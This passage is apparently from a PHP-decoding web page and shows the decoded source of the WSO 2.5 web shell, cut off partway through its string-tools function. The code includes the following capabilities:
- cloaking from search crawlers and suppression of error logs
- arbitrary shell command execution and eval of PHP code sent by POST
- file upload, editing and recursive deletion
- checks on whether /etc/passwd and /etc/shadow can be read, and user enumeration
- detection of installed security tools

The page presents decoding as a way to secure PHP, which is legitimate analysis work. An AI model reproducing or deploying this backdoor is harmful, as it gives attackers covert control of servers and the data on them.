Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $IonTester=' eJztvWtz20iyIPrdEfMfYDSnQdp8S/JDFGXLethyy5Jakh/dlg8bJEESFkmwAVCU2u2N3..

Decoded Output download

// --------------------------------------------------------------------------------------------------------------------------------

function file_put_contentss($n, $d, $flag = false) {
    $mode = ($flag == FILE_APPEND || strtoupper($flag) == 'FILE_APPEND') ? 'a' : 'w';

    $f = @fopen($n, $mode);
    if ($f === false) {
        echo "ERROR ".$n."\n";
        return 0;
    } else {
        if (is_array($d)) $d = implode($d);
        $bytes_written = fwrite($f, $d);
        fclose($f);
        return $bytes_written;
    }

}

// --------------------------------------------------------------------------------------------------------------------------------

function shell1() {
    global $cwd,$default_charset,$os,$safe_mode,$home_cwd,$disable_functions,$sort,$aliases;

$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'UTF-8';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
    $os = 'win';
else
    $os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
    @chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
    $home_cwd = str_replace("\\", "/", $home_cwd);
    $cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
    $cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
    $aliases = array(
        "List Directory" => "dir",
        "Find index.php in current dir" => "dir /s /w /b index.php",
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
        "Show active connections" => "netstat -an",
        "Show running services" => "net start",
        "User accounts" => "net user",
        "Show computers" => "net view",
        "ARP Table" => "arp -a",
        "IP Configuration" => "ipconfig /all"
    );
else
    $aliases = array(
        "find all writable folders and files in current dir" => "find . -perm -2 -ls"
    );

function wsoHeader() {
    if(empty($_POST['charset']))
        $_POST['charset'] = $GLOBALS['default_charset'];
    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: #df5!important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
    function set(a,c,p1,p2,p3,charset) {
        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
    }
    function g(a,c,p1,p2,p3,charset) {
        set(a,c,p1,p2,p3,charset);
        d.mf.submit();
    }
    function a(a,c,p1,p2,p3,charset) {
        set(a,c,p1,p2,p3,charset);
        var params = 'ajax=true';
        for(i=0;i<d.mf.elements.length;i++)
            params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
        sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
    }
    function sr(url, params) {
        if (window.XMLHttpRequest)
            req = new XMLHttpRequest();
        else if (window.ActiveXObject)
            req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
    }
    function processReqChange() {
        if( (req.readyState == 4) )
            if(req.status == 200) {
                var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
                var arr=reg.exec(req.responseText);
                eval(arr[2].substr(0, arr[1]));
            } else alert('Request error!');
    }
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace?$totalSpace:1;
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
    if(strpos('Linux', $kernel) !== false)
        $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
    else
        $explink .= urlencode($kernel . ' ' . substr($release,0,3));
    if(!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(posix_geteuid());
        $gid = @posix_getgrgid(posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }

    $cwd_links = '';
    $path = explode("/", $GLOBALS['cwd']);
    $n=count($path);
    for($i=0; $i<$n-1; $i++) {
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
        for($j=0; $j<=$i; $j++)
            $cwd_links .= $path[$j].'/';
        $cwd_links .= "\")'>".$path[$i]."/</a>";
    }

    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $opt_charsets = '';
    foreach($charsets as $item)
        $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

    $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
    $m['Self remove'] = 'SelfRemove';
    $menu = '';
    foreach($m as $k => $v)
        $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

    $drives = "";
    if($GLOBALS['os'] == 'win') {
        foreach(range('c','z') as $drive)
        if(is_dir($drive.':\\'))
            $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
    }
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function wsoFooter() {
    $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
    <tr>
        <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
        <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
    </tr><tr>
        <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
        <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
    </tr><tr>
        <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
        <td><form method='post' ENCTYPE='multipart/form-data'>
        <input type=hidden name=a value='FilesMAn'>
        <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
        <input type=hidden name=p1 value='uploadFile'>
        <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
        <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
    </tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
    $out = '';
    if (function_exists('exec')) {
        @exec($in,$out);
        $out = @join("\n",$out);
    } elseif (function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    } elseif (function_exists('system')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    } elseif (function_exists('shell_exec')) {
        $out = shell_exec($in);
    } elseif (is_resource($f = @popen($in,"r"))) {
        $out = "";
        while(!@feof($f))
            $out .= fread($f,1024);
        pclose($f);
    }
    return $out;
}

function wsoViewSize($s) {
    if (is_int($s))
        $s = sprintf("%u", $s);
    
    if($s >= 1073741824)
        return sprintf('%1.2f', $s / 1073741824 ). ' GB';
    elseif($s >= 1048576)
        return sprintf('%1.2f', $s / 1048576 ) . ' MB';
    elseif($s >= 1024)
        return sprintf('%1.2f', $s / 1024 ) . ' KB';
    else
        return $s . ' B';
}

function wsoPerms($p) {
    if (($p & 0xC000) == 0xC000)$i = 's';
    elseif (($p & 0xA000) == 0xA000)$i = 'l';
    elseif (($p & 0x8000) == 0x8000)$i = '-';
    elseif (($p & 0x6000) == 0x6000)$i = 'b';
    elseif (($p & 0x4000) == 0x4000)$i = 'd';
    elseif (($p & 0x2000) == 0x2000)$i = 'c';
    elseif (($p & 0x1000) == 0x1000)$i = 'p';
    else $i = 'u';
    $i .= (($p & 0x0100) ? 'r' : '-');
    $i .= (($p & 0x0080) ? 'w' : '-');
    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
    $i .= (($p & 0x0020) ? 'r' : '-');
    $i .= (($p & 0x0010) ? 'w' : '-');
    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
    $i .= (($p & 0x0004) ? 'r' : '-');
    $i .= (($p & 0x0002) ? 'w' : '-');
    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
    return $i;
}

function wsoPermsColor($f) {
    if (!@is_readable($f))
        return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
    elseif (!@is_writable($f))
        return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
    else
        return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}

function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function wsoWhich($p) {
    $path = wsoEx('which ' . $p);
    if(!empty($path))
        return $path;
    return false;
}

function actionSecInfo() {
    wsoHeader();
    echo '<h1>Server security information</h1><div class=content>';
    function wsoSecParam($n, $v) {
        $v = trim($v);
        if($v) {
            echo '<span>' . $n . ': </span>';
            if(strpos($v, "\n") === false)
                echo $v . '<br>';
            else
                echo '<pre class=ml1>' . $v . '</pre>';
        }
    }

    wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
    wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
    wsoSecParam('Open base dir', @ini_get('open_basedir'));
    wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
    $temp=array();
    if(function_exists('mysql_get_client_info'))
        $temp[] = "MySql (".mysql_get_client_info().")";
    if(function_exists('mssql_connect'))
        $temp[] = "MSSQL";
    if(function_exists('pg_connect'))
        $temp[] = "PostgreSQL";
    if(function_exists('oci_connect'))
        $temp[] = "Oracle";
    wsoSecParam('Supported databases', implode(', ', $temp));
    echo '<br>';

    if($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."\n";
                    }
                    echo '<br/>';
                    wsoSecParam('Users', $temp);
                }
            }
    } else {
        wsoSecParam('OS Version',wsoEx('ver'));
        wsoSecParam('Account Settings',wsoEx('net accounts'));
        wsoSecParam('User Accounts',wsoEx('net user'));
    }
    echo '</div>';
    wsoFooter();
}

function actionPhp() {
    if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
        ob_start();
        eval($_POST['p1']);
        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
        echo strlen($temp), "\n", $temp;
        exit;
    }
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

    wsoHeader();
    if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
        echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
        ob_start();
        phpinfo();
        $tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
        echo str_replace('<h1','<h2', $tmp) .'</div><br>';
    }
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
    echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
    if(!empty($_POST['p1'])) {
        ob_start();
        eval($_POST['p1']);
        echo htmlspecialchars(ob_get_clean());
    }
    echo '</pre></div>';
    wsoFooter();
}

function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
    if(!empty($_POST['p1'])) {
        switch($_POST['p1']) {
            case 'uploadFile':
                if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
                    echo "Can't upload file!";
                break;
            case 'mkdir':
                if(!@mkdir($_POST['p2']))
                    echo "Can't create new dir";
                break;
            case 'delete':
                function deleteDir($path) {
                    $path = (substr($path,-1)=='/') ? $path:$path.'/';
                    $dh  = opendir($path);
                    while ( ($item = readdir($dh) ) !== false) {
                        $item = $path.$item;
                        if ( (basename($item) == "..") || (basename($item) == ".") )
                            continue;
                        $type = filetype($item);
                        if ($type == "dir")
                            deleteDir($item);
                        else
                            @unlink($item);
                    }
                    closedir($dh);
                    @rmdir($path);
                }
                if(is_array(@$_POST['f']))
                    foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
                        $f = urldecode($f);
                        if(is_dir($f))
                            deleteDir($f);
                        else
                            @unlink($f);
                    }
                break;
            case 'paste':
                break;
            default:
                if(!empty($_POST['p1'])) {
                    WSOsetcookie('act', $_POST['p1']);
                    WSOsetcookie('f', serialize(@$_POST['f']));
                    WSOsetcookie('c', @$_POST['c']);
                }
                break;
        }
    }
    wsoHeader();
    echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
    $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
    if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
    global $sort;
    $sort = array('name', 1);
    if(!empty($_POST['p1'])) {
        if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
            $sort = array($match[1], (int)$match[2]);
    }
echo "<script>
    function sa() {
        for(i=0;i<d.files.elements.length;i++)
            if(d.files.elements[i].type == 'checkbox')
                d.files.elements[i].checked = d.files.elements[0].checked;
    }
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
    $dirs = $files = array();
    $n = count($dirContent);
    for($i=0;$i<$n;$i++) {
        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
        $tmp = array('name' => $dirContent[$i],
                     'path' => $GLOBALS['cwd'].$dirContent[$i],
                     'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
                     'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
                     'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
                     'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
                     'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
                    );
        if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
            $files[] = array_merge($tmp, array('type' => 'file'));
        elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
            $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
        elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
            $dirs[] = array_merge($tmp, array('type' => 'dir'));
    }
    $GLOBALS['sort'] = $sort;
    function wsoCmp($a, $b) {
        if($GLOBALS['sort'][0] != 'size')
            return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
        else
            return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
    }
    usort($files, "wsoCmp");
    usort($dirs, "wsoCmp");
    $files = array_merge($dirs, $files);
    $l = 0;
    foreach($files as $f) {
        echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
            .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
        $l = $l?0:1;
    }
    echo "<tr><td colspan=7>
    <input type=hidden name=a value='FilesMan'>
    <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
    <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
    <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
    wsoFooter();
}

function actionStringTools() {
    if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
    if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
    if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
    if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
    $stringTools = array(
        'Base64 encode' => 'base64_encode',
        'Base64 decode' => 'base64_decode',
        'Url encode' => 'urlencode',
        'Url decode' => 'urldecode',
        'Full urlencode' => 'full_urlencode',
        'md5 hash' => 'md5',
        'sha1 hash' => 'sha1',
        'crypt' => 'crypt',
        'CRC32' => 'crc32',
        'ASCII to HEX' => 'ascii2hex',
        'HEX to ASCII' => 'hex2ascii',
        'HEX to DEC' => 'hexdec',
        'HEX to BIN' => 'hex2bin',
        'DEC to HEX' => 'dechex',
        'DEC to BIN' => 'decbin',
        'BIN to HEX' => 'binhex',
        'BIN to DEC' => 'bindec',
        'String to lower case' => 'strtolower',
        'String to upper case' => 'strtoupper',
        'Htmlspecialchars' => 'htmlspecialchars',
        'String length' => 'strlen',
    );
    if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
        ob_start();
        if(in_array($_POST['p1'], $stringTools))
            echo $_POST['p1']($_POST['p2']);
        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
        echo strlen($temp), "\n", $temp;
        exit;
    }
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
    wsoHeader();
    echo '<h1>String conversions</h1><div class=content>';
    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
    foreach($stringTools as $k => $v)
        echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
        echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
    if(!empty($_POST['p1'])) {
